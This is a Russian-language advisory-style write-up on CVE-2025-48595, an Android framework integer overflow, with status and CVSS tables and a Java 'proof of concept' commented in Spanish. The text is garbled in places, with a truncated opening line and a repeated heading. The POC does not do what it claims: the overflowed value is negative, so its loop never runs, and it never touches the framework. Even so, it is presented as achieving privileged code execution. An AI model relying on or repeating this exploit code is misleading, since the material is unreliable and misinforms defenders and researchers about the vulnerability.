
VE-2025-48595 — это уязвимость **целочисленного переполнения (integer overflow)** в нескольких местах фреймворка Android.
CVE-2025-48595 – это уязвимость целочисленного переполнения (integer overflow) в нескольких местах платформы Android. Данная ошибка позволяет выполнить код, что приводит к локальному повышению привилегий без необходимости дополнительных прав выполнения. Для эксплуатации не требуется взаимодействие пользователя.
| Элемент | Статус |
|---|---|
| Активная эксплуатация | ✅ Подтверждена (ограниченная и сегментированная) |
| В каталоге KEV CISA | ✅ Да |
| Дата добавления в KEV | 2026-06-02 |
| Дата истечения | 2026-06-05 |
| Патч доступен | ✅ Да |
| Версия Android | Затронута? |
|---|---|
| Android 14 | ✅ Да |
| Android 15 | ✅ Да |
| Android 16 | ✅ Да |
| Android 16 QPR2 | ✅ Да |
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
text
Следующий код демонстрирует эксплуатацию уязвимости путём отправки вредоносных данных, вызывающих целочисленное переполнение в платформе Android, что позволяет выполнить произвольный код с повышенными привилегиями.
// POC - CVE-2025-48595
// Android Framework Integer Overflow Vulnerability
// Uso: Compilar y ejecutar en dispositivo Android vulnerable
package com.example.cve202548595;
import android.app.Activity;
import android.os.Bundle;
import android.util.Log;
public class MainActivity extends Activity {
private static final String TAG = "CVE-2025-48595";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// POC: Desencadenar desbordamiento de entero
triggerIntegerOverflow();
}
private void triggerIntegerOverflow() {
try {
// Valor que causa el desbordamiento (más allá del límite esperado)
int maliciousValue = Integer.MAX_VALUE + 1;
// Construir intent malicioso
android.content.Intent intent = new android.content.Intent();
intent.putExtra("malicious_data", maliciousValue);
// Forzar operación con desbordamiento
int result = processMaliciousData(maliciousValue);
Log.i(TAG, "Desbordamiento activado exitosamente");
} catch (Exception e) {
Log.e(TAG, "Error: " + e.getMessage());
}
}
private int processMaliciousData(int value) {
// El desbordamiento aquí permite la corrupción de memoria
int[] buffer = new int[1024];
// El valor malicioso excede los límites del buffer
// debido al desbordamiento de entero
for (int i = 0; i < value; i++) {
buffer[i] = i; // Esta línea causa overflow
}
return buffer[0];
}
}
| Метрика | Значение |
|---|
| Вектор атаки | Локальный (AV:L) |
| Сложность атаки | Низкая (AC:L) |
| Требуемые привилегии | Нет (PR:N) |
| Взаимодействие пользователя | Нет (UI:N) |
| Влияние на конфиденциальность | Высокое (C:H) |
| Влияние на целостность | Высокое (I:H) |
| Влияние на доступность | Высокое (A:H) |